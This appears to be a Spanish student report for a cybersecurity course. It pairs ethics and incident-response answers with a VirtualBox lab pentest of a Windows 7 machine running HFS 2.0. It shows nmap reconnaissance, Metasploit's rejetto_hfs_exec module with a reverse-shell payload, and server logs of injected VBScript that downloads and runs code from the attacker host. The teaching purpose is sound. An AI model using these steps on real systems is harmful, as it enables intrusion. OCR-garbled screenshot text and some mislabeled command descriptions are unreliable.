para asegurar asi que se cumpla con las politicas establecidas con el manejo de los
datos, la tercera idea seria las capacitaciones recurrentes, en la cual a los trabajadores
se les den formacion regular sobre la normativa de trata de datos entre otros y proteccion
digital, y finalmente usar tecnologias de seguridad, herramientas que limiten el acceso a
la informacién sensible y registren todas las actividades realizadas por los empleados
durante las auditorias.

En la segunda pregunta los mecanismos de supervision y control que deberian
implementarse considero yo 6 en muy grandes rasgos como las siguientes:

1. Politicas de Uso Aceptable: En las cuales se establecen politicas transparentes
gue definan el uso permitido de herramientas y tecnologias, asi especificando las
consecuencias del uso indebido de estas, en la se puedan Incluir algunas
clausulas sobre la ética profesional y la confidencialidad en los contratos
laborales.

2. Acceso Basado en Roles: Implementar un sistema de control de acceso, en la que
se limite el uso de herramientas avanzadas a un personal previamente autorizado
y capacitados, por el contrario, también usar el principio de "minimo privilegio",
donde los empleados solo tengan acceso a la informacién necesaria para la
realizacion de sus tareas.

3. Auditorias Regulares: Como en la pregunta anterior se podrian realizar auditorias
internas periddicas para revisar y controlar el uso de herramientas tecnologicas

con el fin de asegurar que se sigan las politicas establecidas entre estas se
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podrian incluir revisiones aleatorias de registros de acceso y actividades
realizadas con herramientas avanzadas.

4. Registro y Monitoreo de Actividades: Implementar sistemas de registro que
documenten todas las acciones realizadas con herramientas forenses, incluyendo
quién accedio a qué informacién y con qué proposito

5. Capacitacion Continua: Proporcionar formacién regular sobre ética en
ciberseguridad, enfatizando las implicaciones legales y las responsabilidades
profesionales Incluyendo escenarios practicos en las que se ilustren las
consecuencias del abuso de acceso a informacion sensible.

6. Canales de Denuncia: Asegurar canales seguros y anénimos con el fin de que los

empleados puedan reportar conductas inapropiadas sin temor a represalias.

Finalmente, la tercera pregunta como deberia actuar los gobiernos cuando descubren
gue la empresa ha cometido actos de ciber espionaje:

Tal cual como he aprendido a lo largo de la especiacion, especialmente en la materia de
andlisis forense, lo primero seria la respuesta inmediata, en la cual considero se debe
realizar una investigacion interna completa, primero formando un grupo multidisciplinario
esto con el fin de incluir la mayor cantidad de expertos para que todos aporten en
diferentes campos entre estos expertos deberian ir desde expertos en ciberseguridad,
abogados y en relaciones publicas, y otros expertos en el campo en el que se extravid o
sustrajo la informacién, después de estos se debe recopilar la evidencia documentar las
acciones realizada por la empresa de ciberseguridad y recolectar pruebas sobre el uso

indebido del acceso a informacion sensible.



32

Acto seguido con el grupo experto en relaciones publicas, se debe mantener una
comunicacion con las partes interesadas, ya sea ciudadania, otras partes del gobierno
afectado, explicando lo sucedido y que acciones se estan tomando e importante
mantener actualizaciones regulares, para evitar el panico publico.

A partir de aca se deben implementar las medidas correctivas, primero evaluando los
dafios que se causaron y a partir de ahi, considerar una terminacion de contrato con la
empresa, y emprender acciones legales del pais en el que se hicieron los robos pues fue
ahi donde se realiz6 el suceso, una vez sucedido esto se debe empezar un proceso de
restauracion de confianza, en la cual se compense a los afectados, empezar con
protocolos de prevencion futura, como implementacién de tecnologia avanza, como

herramientas de monitoreo, andlisis forense independiente.
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Las herramientas usadas para llevar a cabo el problema propuesto en el anexo 4 fueron:

Virtual box: Una maquina virtual, VM para abreviar, es un sistema informatico dentro
de un sistema informatico fisico. Esto significa que se simula otra computadora en
una computadora fisica, como su computadora portéatil.

Windows 7: Un sistema operativo creado por Microsoft, usado en la maquina virtual
victima en la realizacion de este trabajo.

Kali Linux: Un sistema operativo basado en debian, usando en la maquina virtual
atacante en la realizacion de este trabajo.

Nmap: Es un programa de mapeo de redes que se ha establecido como una de las
herramientas gratuitas de descubrimiento de redes méas populares del mercado. La
aplicacion se puede utilizar para encontrar hosts activos en una red, asi como para
realizar escaneos de puertos, barridos de ping, descubrimiento de sistemas
operativos y deteccién de versiones.

Mestasploid: Es una herramienta poderosa que pueden utilizar los piratas
informaticos éticos para identificar sisteméaticamente vulnerabilidades y remediarlas
de forma proactiva antes de que sean explotadas por los piratas informaticos. Si bien
Metasploit es una parte integral del conjunto de herramientas de todo pentester,
también lo utlizan piratas informaticos con intenciones maliciosas. Los
ciberdelincuentes también pueden utilizar las herramientas de Metasploit para

identificar vulnerabilidades y explotarlas'?.

12 Buckbee, M. (2020, marzo 29). What is Metasploit? The Beginner's Guide. Varonis.com.

https://www.varonis.com/blog/what-is-metasploit
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Payload: Se refiere a los datos reales en los paquetes de datos, no a los datos con
informacion de control o de protocolo (encabezado y, dependiendo del protocolo de
red, finalizador) para la correcta entrega en la red. Por lo tanto, lo que recibe el
usuario son datos puros del usuario®3.

Una vez teniendo el glosario de las herramientas usadas procedemos con el
pentesting. FASE DE RECOLECCION DE INFORMACION:

En esta fase podemos afiadir la segunda pregunta de la guia que es los datos de anexo
4 que nos fueron Utiles para descifrar que estaba pasando con esa pc, la primera
informacién que nos ofrecen en el anexo 4 es que en la maquina se genera una fuga
de informacion y también nos dan a entender que tiene una aplicacion instalada
vulnerable bajo un Windows, esto nos da una idea de lo que va sucediendo en este
caso, también nos dicen que puede ser que tenga un exploit asociado que da
permisos a través de Shell, finalmente nos dicen que se han creado usuarios con
privilegios de administrador. Como primera instancia es una buena recoleccion de
informacion preliminar, una vez teniendo esto procedemos recoger informacién del

propio pc de la siguiente manera:

Usamos la herramienta NMAP para recabar toda la informacion posible del pc, con
esta podremos identificar los puertos abiertos, y que servicios se estan ejecutando

de esta.

13 Froehlich, A., & Loshin, P. (2021, octubre 25). Payload (computing). Search Security; TechTarget.
https://www.techtarget.com/searchsecurity/definition/payload



(Es importante que desactivemos el firewall del pc victima en este caso para poder

realizar su respectivo analisis)

&5 &) = [ «Todos los cementos de Panel de control | Firewal de Windows

Ventana principal del Panel de
control

Permitir un programa o una
caracteristica a través de
Firewall de Windows

Cambiar la configuracién de
notificaciones

Activar o desactivar Firewall de
Windows

Restaurar valores
predeterminados

Configuracién avanzada

Solucién de problemas de red

Centro de actividades

Centro de redes y recursos
compartidos

=&
~ [ 43 || Buscar en el Panel de contro 2|

@ -
Ayude a proteger su equipo con Firewall de Windows

Firewall de Windows ayuda a impedir que hackers o software malintencionado obtengan acceso al equipo a
través de Internet o de una red.
£C6mo me ayuda un firewall a proteger mi equipo?

{Qué son las ubicaciones de red?

Actualizar configuracién de firewall

Firewall de Windows no esta usando la
configuracién recomendada para proteger el
equipo.

[ @l Usar Ia configuracién recomendada

;Cusl es la configuracion recomendada?

m

l @ Redes domésticas o de trabajo (privadas) No conectado (¥

l & Redes publicas

Redes en lugares publicos como aeropuertos o cafeterias

Conectado (&)

Estado de Firewall de Windows: Desactivado

Conexiones entrantes: Bloquear todas las conexiones a los programas que

no estén en la lista de programas permitidos
Redes piblicas activas: Red 3

Estado de notificacion: Notificarme cuando Firewall de Windows bloquee un

nuevo programa

llustraciéon 18. Firewall desactivado.
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Ahora en caso dado que no supiéramos la ip del pc victima, pero conociendo que
estd en nuestro mismo segmente de red procedemos a ver que otras ip estan en

nuestro segmento de red para eso primero usamos:

route

default via dev

proto dhcp src
proto kernel scope link src

metric 100
metric 100

llustracion 19. Comando ip route.

Con el fin de ver el segmento de red, una vez conocido buscamos la ip en nuestra red
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- sudo 192.168.20.0/24
[sudo] password for kali:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-10 16:49 EST
Nmap scan report for 192.168.20.1

Host is up (0.0020s latency).

MAC Address: 14:82:5B:00:00:20 (Hefei Radio Communication Technology)
Nmap scan report for 192.168.20.28 <

Host is up (0.00010s latency).

MAC Address: D8:BB:C1:0B:A2:FF (Micro-Star Intl)

Nmap scan report for 192.168.20.109

Host is up (0.00018s latency).

MAC Address: 14:82:5B:78:99:63 (Hefei Radio Communication Technology)
Nmap scan report for 192.168.20.138

Host is up (0.00020s latency).

MAC Address: 08:00:27:92:80:C0 (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.20.139

Host 1s up.

Nmap done: 256 IP addresses (5 hosts up) scanned in 7.68 seconds

llustracion 20. Ips en el segmento de red del pc atacante.

Salen las redes ip en el segmento de red en las cuales vemos 3 reconocidas, las cuales
son: el pc maquina virtual Kali Linux, el pc virtual Windows y el pc administrador que es
donde se esta haciendo el laboratorio, a continuacién, se muestran las tres ip’s de los 3

computadores:
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. kali@kali: ~

File Actions Edit View Help

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168. 139 netmask 255.255.255.0 broadcast 192.168.20.255
inet6 fe80::612:2d4a:8d95:11d9 prefixlen 64 scopeid 0x20<link>
inet6 2800:484:5879:5100:e68:e4f4:7798:80c2 prefixlen 64 scopeid 0x
0<global>
ether 08:00:27:ad:25:87 txqueuelen 1000 (Ethernet)
RX packets 17526 bytes 1056926 (1.0 MiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 66 bytes 8221 (8.0 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

llustracion 21. Ip maquina Kali atacante.
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UszersswusuarioFipconfig

onfiguracidn IP de Windows

fidaptador de Ethernet Conexion de area local:

Sufijo DMS especifico para la cnnex1n H

Direccidgn IPvb . . . . . . . - t484:58Y?:5100: 4842 : 9ced:-4e38:7898
Direcciaon IPu6 . . . - - :484:5879:5180:d2d2:c1if :480:fdee
Direccion IPub tempural. - - 484:5872:5180:-8d26:92908:8b93 :8hdf

Uinculo: direccidn IPuvb6 local. . eBB@:-:4842 :ced:4e38:7898x11
Direccidn IPuvd. . . . . . . . . . . . . . :192.168.20.138 <
Mascara de subred . . . e - - - - - = 255_255_ 25504
Puerta de enlace predetermlnada - . ¢ feBB::1682:5bhff:fedd:20x11
felBi:217:1BFf:FeB7:Palbnil
192 .168.28.1

fidaptador de tinel isatap.{5BEBBED2-9BA4-4799-BEB3-D289D73C246@%:

Eztado de los medios. . . . - : medios desconectados
Sufijo DMS especifico para la cnnex1nn. .

llustracion 22. Ip maquina Windows victima.

C:\Users\santi>ipconfig

Configuracion IP de Windows

Adaptador de Ethernet Ethernet:

Sufijo DNS especifico para la conexién.

Direccion IPv6 . . . . . . . . . .1 2399 HBH 5879:5100:28ec:623f:Uf6:3ecd

Direccion IPv6 . . . . . . . . . . : 2808:U48U:5879:5180:9163:3Uc:2524:2c2b

Direccion IPv6 temporal. . . . . . : 2808:484:5879:5100:2160:7U8b:373a:7d9

Direccion IPv6 temporal. . . . . . : 2800:U48U:5879:5180:60dc:de50:5ell:535¢c

Vinculo: direccién IPv6 local. . . : fe80::3f12:Ub3b:b5f9:e99d%6

Direccién IPvH. . . . . . . . . . . . . . :192.168.20.28 ¢ ———

Mascara de subred . . . . .+« . . . : 255,255.255.9

Puerta de enlace predetermlnada . « - . . 1 feBB::1682:5bff: feb0:20%6
fe80::217:10Ff: feB7:7al6%6
192.168.20.1

Adaptador de Ethernet Ethernet 2:

Sufijo DNS especifico para la conexidn.

Vinculo: direccién IPv6 local. . . : feB8@::U635:fb50:5bBc:fO7%8
Direccién IPvH. . . . . . . . . . . . . . : 192.168.56.1
Mascara de subred . . . . . - . . . 1 255.255.255.9
Puerta de enlace predetermlnada ] 3

llustracion 23. Ip maquina Windows donde se realiza el laboratorio.
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(Antes de continuar con el laboratorio me detuve a instalar la aplicacion importante para
gue el laboratorio funcionara ya que no traia ni la mitad de aplicaciones instaladas

necesarias)

27/03/2006 09:18 a... Aplicacién 609 KB
10/11/2024 05:45 ... zip Archive 586 KB
#2 Hitp File Server 2.0 [ = =]
| & Menu | Part |2050 | & “'ou are in Easy mode
Address kit //192.168.20.138:8080/ ﬁ Browse
Wirtual File Sypstem Log
o 05:49:11 p.m. 192.168.20.139:45950 Requested GET / =

05:49:11 p.m. 192.168.20.139:45964 Requested GET favi
05:49:12 p.m. 192.168.20.139:45968 Requested GET /_git:
05:49:27 p.m. 192.168.20.139:33638 Requested GET /
05:49:27 p.m. 192.168.20.139:33644 Requested HEAD /
05:50:18 p.m. 192.168.20.139:53338 Requested GET/  |&
05:50:18 p.m. 192.168.20.139:53352 Requested GET /

-

1 [ T

2
Wl IR | Filename jg Statug Speed Time left %
192.168.20.135:39138 - idle 0 - -

Out: 0,0 KB/s  Im:0,0KE/s

1I2/M0A N318 3 m Ferha dz rrearidn 10A1/MMAN545 n m

llustracion 24. Instalacion HFS 2.0 en maquina victima.

FASE DE ANALISIS DE VULNERABILIDADES:

Con la ayuda de NMAP puedo ver como lo decia anteriormente los puertos y servicios

operativas y abiertos, y otros detalles mas
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udo 192.168.20.13
Starting Nmap 7.94SVN ( https nmap.org ) at 2024-11-10 17:51 EST
Nmap scan report for 192.168.20.138
Host is up (0.00018s latency).
Not shown: 986 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
554/tcp open Trtsp?
2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-server-header: Microsoft-HTTPAPI/2.0
| _http-title: Service Unavailable
8080/tcp open http HttpFileServer httpd 2.0
|_http-title: HFS /
| _http-server-header: HFS 2.0
10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-server-header: Microsoft-HTTPAPI/2.0
| _http-title: Not Found
49152/tcp open msrpc Microsoft Windows
49153/tcp open msrpc Microsoft Windows
49154/tcp open msrpc Microsoft Windows
49155/tcp open msrpc Microsoft Windows
49157/tcp open msrpc Microsoft Windows
49160/tcp Microsoft Windows
MAC Address: : 7:92:80:C0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows 7/2008/8.1
0S CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::spl cpe:/o:microsoft:windows_server_2008::spl cpe:/o:microsoft:windows_server_2008
r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
0S details: Microsoft Windows 7 SP@ - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop
Service Info: Host: PC202006; 0S: Windows; CPE: cpe:/o:microsoft:windows

llustracion 25. Aplicacion comando Nmap.

Host script results:
| smb2-time:

| date: 2024-11-10T22:53:48
|_ start_dat 2024-11-10721:35:53

| smb-os-discovery

| 0S: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| 0S CPE: cpe:/o:microsoft:windows :spl:professional

| Computer nam PC202006

| NetBIOS computer name: PC202006\x00

| Workgroup: WORKGROUP\x00

|_ System time: 2024-11-10T17:53:48-05:00

| _clock-skew: mean: 1h40m@@s, deviation: 2h53ml2s, median: 0s

| smb-security-mode:

| account_used: <blank>

| authentication_level: user

| challenge_response: supported

| message_signing: disabled (dangerous, but de 1t)

|

|

|

|

_nbstat: NetBIOS name: PC202006, NetBIOS user: <unknown>, NetBIOS MAC: 3 2:80:c@ (Oracle VirtualBox virtual NIC)
smb2-security-mode:

M

Message signing enabled but not required

TRACEROUTE
HOP RTT ADDRESS
1 0.18 ms 192.168.20.138

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.45 seconds

llustracion 26. Aplicacion comando Nmap.

En este caso como se puede apreciar en el puerto 8080 se encuentra abierto y un servicio
corriendo el HSF (que es la aplicacion que instalamos anteriormente), una vez sabiendo

esta vulnerabilidad procedo a la fase de explotacion.



FASE DE EXPLOTACION:

Metasploit tip: When in a module, use back to go back to the top level

prompt

€ S 6.4,18-dev
437 exploits - 1255 auxiliary - 429 post

471 payloads - 47 encoders - 11 nops
evasion

Metasploit Documentation: https://docs.metasploit.com/

llustracion 27. Ejecucion metasploit.

Se pone en funcionamiento el metasploit, y buscamos exploits, que vana de acuerdo a

esa vulneracion:

sf6 > search hsf

Matching Modules

# Name Disclosure Date Rank

® exploit/linux/http/netis_unauth_rce_cve_2024 22729 2024-01-11

[nteract with a module by name or index. For example info 0, or

Check Description

Yes Netis router MW5360@ unauthenticated RCE.

llustracion 28. Busqueda del exploit HSF.

De las cuales solo se encuentra 1 pero haciendo el analisis de todo el contexto anterior
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no se parece al que se dedujo en la fase de recoleccion de informacion, por eso se

procede a buscar en la base de datos exploit db, a ver si hay alguna que se pueda

adecuar al analisis.

Date &
2021-02-23
20200610
2016-01-04
20150827
2011-03-21
2014-10-09
20141002
20140915
2008-01-23
20071205
20070113
2006-11-02

2010-04-24

O & hty
D A
*
¥
¥ 0
¥ Q0
¥
L -}
+ 0
+ B
¥
*
¥
4
S.c

/- Titl

HFS ~ HTTP File Server downl: X

ww.exploit-db.com

@®

HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)

HFS Hittp File Server 2.3m Build 300 - Buffer Overflow (PoC)

Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)
FHFS - FTP/HTTP File Server 2.1.2 Remote Command Execution

Apple Mac 0SX 10.6.x - HFS Subsystem Information Disclosure

Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit)
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)
Rejetto HTTP File Server (HFS) 1.5/2.x - Multiple Vulnerabilities

Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload

Apple Mac 0SX 10.4.8 - DMG HFS+ DO_HFS_TRUNCATE Denial of Service
Linux Kernel 2.6.x - SquashFS Double-Free Denial of Service

Apple Mac 0SX 10.6 - HFS FileSystem (Denial of Service)

% Exploit Database - Exploits for | X

(E=SIEoS x|
R Lin@m e =
Type Platform Author
Remote Windows Pergyz
Remote Multiple hyp3rlinx
Remote Windows Avinash Thapa
Remote Windows Naser Farhadi
Local 0SX Dan Rosenberg
Remote Windows Metasploit
WebApps Windows Daniele Linguaglossa
Remote Windows Daniele Linguaglossa
Remote Windows Felipe M. Aragon
Remote Multiple Luigi Auriemma
Dos 0sX LMH
Dos Linux LMH
DoS 08X Maksymilian Arciemowicz

o e

=i

lOe 2]

llustracion 29. Busqueda del exploit en exploit db.

06:03 p.m.

S0 o

Buscando vy filtrando nos podemos destacar que hay un que hace parte de metasploit y

es para Windows, y encaja perfectamente con lo que dice tanto el anexo como el analisis

del mismo porque de forma remota usa comando para subirse privilegios entre otras

cosas.
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Ahora procedemos con la descarga e instalacion del mismo.

—( )~ [~
— do t update

-£ sudc install exploitdb
[sudo]

password for kali:

Get:1 http://kali.download/kali kali-rolling InRelease [41.5 kB]

Get:2 http://kali.download/kali kali-rolling/main amd64 Packages [20.2 MB]

Get:3 http://kali.download/kali kali-rolling/main amd64 Contents (deb) [48.3 MB]
Get:4 http://kali.download/kali kali-rolling/contrib amd64 Packages [112 kB]

Get:5 http://kali.download/kali kali-rolling/contrib amd64 Contents (deb) [273 kB]
Get:6 http://kali.download/kali kali-rolling/non-free amd64 Packages [197 kB]

Get:7 http://kali.download/kali kali-rolling/non-free amd64 Contents (deb) [876 kB]

Get:8 http://kali.download/kali kali-rolling/non-free-firmware amd64 Packages [10.8 kB]

Get:9 http://kali.download/kali kali-rolling/non-free-firmware amd64 Contents (deb) [23.1 kB]
Fetched 70.1 MB in 7s (9,773 kB/s)

1775 packages can be upgraded. Run 'apt list --upgradable' to see them.

Upgrading:

Summary:
Upgrading: 1, Installing: @, Removing: @, Not Upgrading: 1774
Download size: 30.1 MB
Space needed: 47.1 kB / 64.3 GB available

llustracion 30. Instalacion y actualizacion del exploit db.

Exploit Title
Rejetto HTTP File wver (HFS) - Remote Co | windows/remote/

No Res

llustracion 31. Instalacion del exploit 34926.

Una vez descargado e instalado procedemos nuevamente a abrir y el metasploid, y se

corrobora la instalacion del mismo:

msf6 > search rejetto

Matching Modules

# Name Disclosure Date Rank Check Description

0 exploit/windows/http/EejetEo _hfs_rce_cve_2024_23692 2024-05-25 Yes Rejetto HTTP File Server (HFS) Unauthenticated Remote
Code Execution
1 exploit/windows/http/Fejette hfs_e: ¢ 2014-09-11 Yes REjetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example

llustracion 32. Verificacion de la instalacion del exploit.
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Finalmente abrimos el exploit

nsf6 exploit(

> show options

Module options (exploit/windows/http/rejetto_hfs_exec)

Name Current Setting

HTTPDELAY 10
Proxies
RHOSTS
RPORT
SRVHOST
SRVPORT
SSL

SLCert
TARGETURI
URIPATH

Required Description

Seconds to wait before terminating web serve
y chain of format type:host:port[,type:host:port][
target host(s), see https
target port (TCP)

ocs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

The loc host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

The local port to listen on.

Negotiate SSL/TLS for outgoing connections

Path to a custom SSL certificate (default is randomly generated)
The path of the web application

The URI to use for this exploit (default is random)

VHOST HTTP server virtual host

ayload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted:

LHOST 192.168 139 yes

LPORT 4hb yes The listen po

xploit target:
Name

Automatic

view the full module info with the r command.

', seh, thread, process, none)
The listen address (an interface may be specified)

llustracion 33. Menu del exploit.

Donde se nos precarga un payload por default, y vemos los requerimientos obligatorios

para ejecutar el exploit, los cuales ya los sabemos gracias al analisis de NMAP.

exploit( ) > show options
Module options (exploit/windows/http/rejetto_hfs_exec):
Name Current Setting Requi

HTTPDELAY 10
Proxies
RHOSTS 192.168.20.138
RPORT 8080
SRVHOST 0.0.0.0
8080 e local port to listen on.

1
ing-metasploit/basics/using-metasploit.html

st or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addres:

false Negotiate SSL/TLS for outgoing connections
ssLCert Path to a custom SSL certificate (default is randomly generat

TARGETURL  /

The path of the web application

URIPATH The URI to use for this exploit (default is random

VHOST HTTP server virtual host

Payload options (windows/met er/r tep):

Name Current Setting Description

EXITFUNC proc Exit technique (A

Exploit target:

Id Name

Automatic

» seh, thread, process, none)
LHOST 6 .13 The listen address (an interface may be specified)
LPORT 4 The listen port

llustracion 34. Datos suministrados para el funcionamiento del exploit.

Se ingresan los datos correspondientes y se ejecuta.
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exploit > run

Started reverse TCP handler on 192.168 .139:4444
Using URL: http://192.168.20.139:8080/8AiDHo3
Server started.

Sending a malicious request to /
Server stopped.

[!] This exploit may require manual cleanup of '%TEMP%\XzQTjBhlLsWxr.vbs' on the target
Exploit completed, but no session was created.

msf6 exploit( ) > show options

llustracion 35. Ejecucién del exploit.

{4 Hitp File Server 20 [ | 3:
| & Meru ‘ Port | 8080 ‘ @1 You are in Easy mode P
Address  hittp://192.168.20.135:8080/ & Browse
Wirtual File. . Lag

A1/ = Execute x.responseText} e

07:55:11 p.m. 192.168.20.13%:45797 Requested GET /?search=07:57:04 p.m. 192.168.20.139:45571 Requested GET {?search=> On Err
= x.0pen "GET","http://192.168.20.139:8080/eDrlexClfBmawb”, False

= If Err Number <= 0 Then

= wsh_exit

= End If

= x.Send

> Execute x.responseText.}

07:57:04 p.m. 192 168 2013939455 Requested GET /?search=08:02:54 p.m. 192.168.20.139:42177 Requested GET {?search=> On Err
= % Open "GET" "http=//192 168 20 139:8080/igTJYsgpsQO0" False

= If Err.Number <= 0 Then

= wsh.exit

= End If

> x.Send

= Execute x_responseText.}

08:02:54 p.m. 192.168.20.139:42693 Requested GET /?search=08:11:35 p.m. 192.166.20.139:36677 Requested GET /?search="%M%url'
08:14:40 p.m. 192.168.20.13%:43161 Requested GET /?search=> On Error Resume Next

= x.0pen "GET","http://192.168.20.139:8080/8AIDH03" False

= If Err Number <= 0 Then

= wsh_exit

= End If

= x.Send

> Execute x.responseText.}

08:14:40 p.m. 192.168.20.139:39787 Requested GET /?search=

m

< [ r

152.168.20133:43161 - idle 1
192.168.20139:39787 \ idle 1
Qut:0,0 KBfs  In: 0,0 KB/s

s/ & o

llustracion 36. Conexion del exploit.

Wi P 1 Filename j,) Status Speed Time left 4

Finalmente vemos como el HTTP file server logra la conexion.

FASE INFORME:

Esta es la fase final de nuestro pentesting la cual se entrega todas las evidencias de la
penetracion, se identifica que el programa malicioso o de pronto no malicioso sino

vulnerable era HFS 2.0, que dejaba los puertos abiertos.

Para la 3 pregunta que dice que herramienta se uso para identificar los fallos de la
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magquina Windows.

La herramienta para poder identificar el fallo fue NMAP, pues nos dio la clave del puerto
gue abria que era el 8080, y el servicio que corria por ese puerto que era HFS, también
con ayuda de exploit db pude dar con el exploit correcto para poder finalmente comprobar

con metasploid.

Funcionamiento del ataque:

Robo de Datos

llustracion 37. Funcionamiento del ataque.

— Falla en el procesamiento de solicitudes HTTP
Como Funciona ia Vuinerabilidad <
/ ~ Debilidad en el analisis de datos de entrada ————— Particularmente con bytes nulos (30

HFS recibe la solicitud maliciosa

nients analizar los datos de entrada

No desinfecta adecuadamente Ia entrada

Codigo malicioso elude controles de seguridad

llustracion 38. Funcionamiento del ataque.



COMANDOS USADOS:

Reconocimiento de red

Comandos usadaos para el reconocimiento de red.

Comando

sudo nmap -sn
192.168.20.0/24

fconfig (Linux) o
ipconfig (Windows)

Descripcidn
Este comando realiza un escaneo rapido de la red para identificar hosts
activos dentro del rango de direcciones IP especificado (192.168.20.0/24). Es

como echar un vistazo rapido para ver guién esta "conectado” sin indagar
demasiado en sus detalles.

Estos comandos muestran informacion detallada sobre las interfaces de red
de un equipo, como las direcciones IP asignadas, las mascaras de subred y
otras configuraciones de red. Es como mirar la "tarjeta de identificacion” de

cada interfaz de red.
Tabla 1. Comandos usados para el reconocimiento de red.

Recopilacion de informacion

Comandos usados para la recopilacion de informacién

comandao

sudo nmap -A
192.168.20.138

descripcion

Este comando realiza un escaneo mas profundo de un host especifico
(192.168.20.138). Busca informacion detallada sobre los puertos abiertos, los
servicios que estan corriendo, el sistema operativo y posibles vulnerabilidades.
Es como hacer una investigacion exhaustiva sobre un objetivo.

Tabla 2. Comandos usados para la recopilacion de informacion.
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Explotacion de vulnerabilidades

Comandos usados para la explotacion de vulnerabilidades

comando
run
set RPORT 8080

set LHOST
192.168.20.139

set RHOSTS
192.168.20.138

msfconsole

show options

use 1

search hsfy
search rejetto

descripcion
Ejecuta el exploit contra el objetivo.

Establece la direccion IP del atacante para recibir conexiones.

Establece la direccion IP del atacante para recibir conexiones.

Establece la direccion IP del objetivo.

Este comando inicia la consola de Metasploit, una herramienta muy poderosa
para realizar pruebas de penetracion y explotar vulnerabilidades. Es como el
"cuartel general” de un hacker ético.

Este comando muestra las opciones configurables del exploit seleccionado, como
la direccion IP del objetivo, el puerto, etc. Es como revisar las especificaciones de
un arma antes de usarla.

Este comando selecciona el primer exploit encontrado en la basqueda anterior.

Estos comandos buscan en la base de datos de Metasploit exploits relacionados
con servidores HTTP (hsf) y el servidor Rejetto HTTP, que son tipos comunes de
servidores web. Es como buscar armas en un arsenal para atacar un tipo
especifico de objetivo.

Tabla 3. Comandos usados para la explotacion de vulnerabilidades.

Gestion de paquetes y busqueda
de exploits

Comandos usados para la gestion de paquetes y busqueda de exploits

comando

searchploit 34926

sudo apt update &&
sudo apt -y install
exploitdb

descripcion

Busca en la base de datos de exploits por un CVE (Common Vulnerabilities
and Exposures) especifico, en este caso el CVE-2023-34926. Es como buscar
un libro especifico en una biblioteca.

Actualiza los paquetes del sistema y luego instala la base de datos de
exploits, que contiene una gran cantidad de informacion sobre
vulnerabilidades y exploits conocidos. Es como tener una biblioteca de
informacion sobre las vulnerabilidades mas comunes.

Tabla 4. Comandos usados para la gestion de paquetes y busqueda de exploits.
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2.4 FASE 4 BLUE TEAM

Para la primera pregunta que hacer como primera instancia ante un ataque informatico,
lo primero que haria seria, aislar el sistema comprometido, esto con el fin de evitar la
propagacion del ataque a otros sistemas, esto porque en una primera instancia no
sabemos muy bien a que no estamos enfrentando una de la acciones que podriamos
tomar serian desconectar el sistema de la red y asi evitar comunicacion externa de ese
pc 0 maquina, en caso contrario que ese computador o maquina no se pueda quedar sin
red por alguna por algun proceso importante de la empresa lo que se podria hacer es
bloguear el acceso remoto y desactivar los servicios innecesarios, esto no mas para
aislar el sistema afectado, y asi limitar el dafio potencial.

Acto seguido yo procederia a registrar la actividad, en donde se documentaria todo lo
gue esté ocurriendo durante el ataque, estilo bithcora, la importancia de esto radica en
la post investigacion para el mejoramiento en la seguridad de la empresa, en esta
bitacora irian acciones tales como capturas de pantalla, guardar logs tanto del sistema
como de la red, y la mas importante creeria yo que es la realizacion de copias de
seguridad de los datos.

Mientras se va generando la primera parte y se documenta todo se puede empezar a
discernir el tipo de ataque, identificar el ataque es crucial para contenerlo, con los logs
gue se guardaron anteriormente se analizan en busca de los patrones inusuales, también
se pueden usar herramientas de analisis forense para la identificacion del origen de
ataque y que tipo de técnicas se emplearon, algunas de las herramientas que pueden
ayudar con esto podria ser wireshark, que nos ayuda con la captacion y el analisis de

patrones trafico sospechoso, en caso de el ataque sea por un sistema corrupto
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podriamos usar autospy, entre otras aplicaciones dependiendo el tipo de ataque que se
identifiqué.

Aqui ya iriamos a las medidas de contencion, cuando ya sabemos qué tipo de ataque
fue toca tomar las medidas de contencidn necesarias, las mas tipicas pero eficaces que
se pueden aplicar son el cambio de contrasefias, aplicar parches de seguridad para esos
atagues y en casos extremos también se pueden deshabilitar las cuentas
comprometidas.

Finalmente se debe notificar a las partes interesadas del proceso, como lo podrian llegar
a ser los equipos de seguridad, la gerencia, y en caso de retencion de datos o amenazas
también a las autoridades competentes, para esto se deberia tener un canal de
